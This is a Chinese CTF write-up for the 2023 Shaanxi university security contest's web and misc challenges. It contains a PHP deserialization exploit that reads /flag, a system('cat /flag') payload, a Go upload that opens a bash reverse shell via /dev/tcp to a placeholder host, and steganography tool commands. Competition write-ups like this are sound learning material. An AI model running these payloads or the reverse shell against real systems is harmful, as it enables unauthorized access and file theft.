2023陕西省大学生信息安全竞赛web writeup
  nN88aM5JAyPF 2023年11月01日 69 0

前言

早写好了,忘发了,题目质量还行,够我坐大牢

ezpop

简单的反序列化,exp如下

<?php
class night
{
    public $night;
}

class day
{
    public $day;

}
class light
{
    public $light;
}class dark
{
    public $dark;
}
$n = new night;
$d1 = new day;
$d2 = new day;
$l = new light;
$d = new dark;
$d3 = new dark;
$n->night = $d1;
$d1->day = $d;
$d->dark = $l;
$l->light = $d2;
$d2->day = $d3;
$d3->dark = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($n);
?>

传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样

ezrce

preg_replace采用了/e的模式,很明显有rce漏洞,简单的测试了一下,不能用数字等等,这waf有点牛逼,采用无参rce直接读flag就行了,name得含有hahaha

unserialize

非预期,?a=system ('cat /flag');就能读flag

test

查看页面源代码,发现/profile/index这个路由,访问一下返回一个result,啥也没有,仿问/profile/admin,返回了密码,MD5解密一下asdfgh123admin登录进去,提示上传个go文件,就会运行,构造一个上传数据包,go文件如下:

package main

import (
  "fmt"
  "log"
  "os/exec"
)

func main() {
  cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
  out, err := cmd.CombinedOutput()
  if err != nil {
    fmt.Printf("combined out:\n%s\n", string(out))
    log.Fatalf("cmd.Run() failed with %s\n", err)
  }
  fmt.Printf("combined out:\n%s\n", string(out))
}

反弹shell,拿到flag

Misc

管道

zsteg -a 管道.png | grep "flag"

可是雪啊飘进双眼

第一步hint.wav,藏了摩斯密码,解密出来是WOAISHANXI ,snow.txt,snow解密,snow.exe -p WOAISHANXI -C snow.txt ,拿到密码shanxiroujiamo,解开压缩包,两张图片,key.jpg与hide.jpg, binwalk -e key.jpg 提取出一个压缩包,里面有张图片,跟key.jpg的密文相对应,一一对照拿到密码BC1PVEYD, steghide解hide.jpg即可拿到flag

【版权声明】本文内容来自摩杜云社区用户原创、第三方投稿、转载,内容版权归原作者所有。本网站的目的在于传递更多信息,不拥有版权,亦不承担相应法律责任。如果您发现本社区中有涉嫌抄袭的内容,欢迎发送邮件进行举报,并提供相关证据,一经查实,本社区将立刻删除涉嫌侵权内容,举报邮箱: cloudbbs@moduyun.com

  1. 分享:
最后一次编辑于 2023年11月08日 0

暂无评论

推荐阅读
  5NWiQFAVeqgX   3天前   5   0   0 网络安全
  OKgNPeBk991j   2天前   14   0   0 网络安全